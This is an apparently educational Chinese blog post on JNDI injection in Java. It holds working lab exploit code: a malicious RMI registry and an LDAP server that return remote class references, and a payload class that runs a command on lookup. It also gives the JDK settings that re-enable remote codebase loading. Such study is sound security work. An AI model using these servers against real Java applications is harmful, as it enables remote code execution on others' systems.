Java之JNDI注入

About JNDI

0x01 简介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

0x03 日常使用

其实简单看简介会有点感觉JNDI类似于RMI中的Registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。

平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。

0x04 JNDI命名和目录服务

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

这个点用到的也比较多,下面会详细讲。

前置知识

主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章

InitialContext类

构造方法:

InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

        String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。

JNDI Demo

下面看一段代码,是一段易受JNDI注入攻击的demo

主要是调用的lookup方法中url参数可控,那么可能会导致JNDI注入漏洞的产生。

import javax.naming.InitialContext;
import javax.naming.NamingException; public class JNDIDemo { public void Jndi(String url) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

JNDI+RMI攻击手法

限制条件:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;
import javax.naming.NamingException; public class JNDIServer {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1099/ExportObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url); }
}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays; public class JNDIExploitServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//创建Registry
Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:8080/";
// 实例化一个Reference尝试为远程对象构造一个引用
Reference reference = new Reference("ExploitObject", "ExploitObject", url);
// 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("ExportObject", referenceWrapper);
System.out.println("Registry&Server Start ...");
//打印别名
System.out.println("Registry List: " + Arrays.toString(registry.list()));
}
}

ExploitObject

public class ExploitObject {
static {
try { Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
} public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}

先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

在此期间遇到了几个坑点,记录一下:

  • JDK的限制,测试环境延用了RMI时的JDK7u17

  • 在编译ExploitObject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:package com.zh1z3ven.jndi),指定版本javac编译命令:

    /Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java

JNDI+LDAP攻击手法

这里的限制是在8u191之前

copy一段LDAP的Server端代码

LdapServer

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
int port = 7777; try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening(); }
catch ( Exception e ) {
e.printStackTrace();
}
} private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) {
this.codebase = cb;
} @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
} protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

JNDIServer2

public class JNDIServer2 {
public static void main(String[] args) throws NamingException {
String url = "ldap://127.0.0.1:7777/ExploitObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url); }
}

ExploitObject

public class ExploitObject {
static {
try { Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
} public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}

Reference

如何绕过高版本 JDK 的限制进行 JNDI 注入利用:https://paper.seebug.org/942/

javasec

https://www.cnblogs.com/nice0e3/p/13958047.html

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://paper.seebug.org/1091/#jndi

https://security.tencent.com/index.php/blog/msg/131

https://paper.seebug.org/1207/#ldap

Java之JNDI注入的更多相关文章

  1. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

  2. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  3. JNDI注入与反序列化学习总结

    0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...

  4. 浅析JNDI注入Bypass

    之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...

  5. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  6. JNDI注入基础

    JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...

  7. Java Web表达式注入

    原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...

  8. spring注解方式在一个普通的java类里面注入dao

    spring注解方式在一个普通的java类里面注入dao @Repositorypublic class BaseDaoImpl implements BaseDao {这是我的dao如果在servi ...

  9. ref:一种新的攻击方法——Java Web表达式注入

    ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...

随机推荐

  1. 超详细unittest单元测试框架总结

    unittest单元测试框架不仅可以适用于单元测试,还可以适用WEB自动化测试用例的开发与执行,该测试框架可组织执行测试用例,并且提供了丰富的断言方法,判断测试用例是否通过,最终生成测试结果.今天笔者 ...

  2. P4389-付公主的背包【生成函数,多项式exp】

    正题 题目链接:https://www.luogu.com.cn/problem/P4389 题目大意 \(n\)种物品,第\(i\)种大小为\(v_i\),数量无限.对于每个\(s\in[1,m]\ ...

  3. HC(Histogram-based Contrast) 基于直方图对比度的显著性

    HC(Histogram-based Contrast) 基于直方图对比度的显著性 来源于: 2011, Global contrast based salient region detection, ...

  4. 八大排序算法之基数排序(python实现)

    [写在前面] 参考文章: https://blog.csdn.net/nrsc272420199/article/details/82691596[给出的示例图,简单易懂,但是对于没一轮循环没有讲解的 ...

  5. pycharm运行测试程序提示no tests were found

    转载: https://blog.csdn.net/qq_33834328/article/details/75095078

  6. 源码解析-Abp vNext丨LocalEventBus

    前言 基础篇已经更新完了,从本篇开始我们进入,中级篇(学习部分源代码)我会挑一些我个人认为比较重要的知识点结合部分开源项目进行源码讲解,咱们废话不说直接上车. Abp vNext的事件总线分2种,一种 ...

  7. CSP-J 2021 复赛游记

    Day-1 啥也没干 晚上看了看洛谷的讨论,据说freopen在打开的最后要加 fclose(stdin);fclose(stdout); 不加也可.不过据说Linux在return 0之前不会自动关 ...

  8. SLAM名词介绍

    gauge freedom:测量自由度 degrees-of-freedom(DoF) 自由度 wide-baseline matches:宽基线匹配 宽基线匹配:从描绘同一场景的两个或多个图像中建立 ...

  9. py3.8安装

    ubantu python3.8# 命令下载wget https://www.python.org/ftp/python/3.8.1/Python-3.8.1.tar.xz#解压tar -xvJf P ...

  10. 深入浅出Java内存模型

    面试官:我记得上一次已经问过了为什么要有Java内存模型 面试官:我记得你的最终答案是:Java为了屏蔽硬件和操作系统访问内存的各种差异,提出了「Java内存模型」的规范,保证了Java程序在各种平台 ...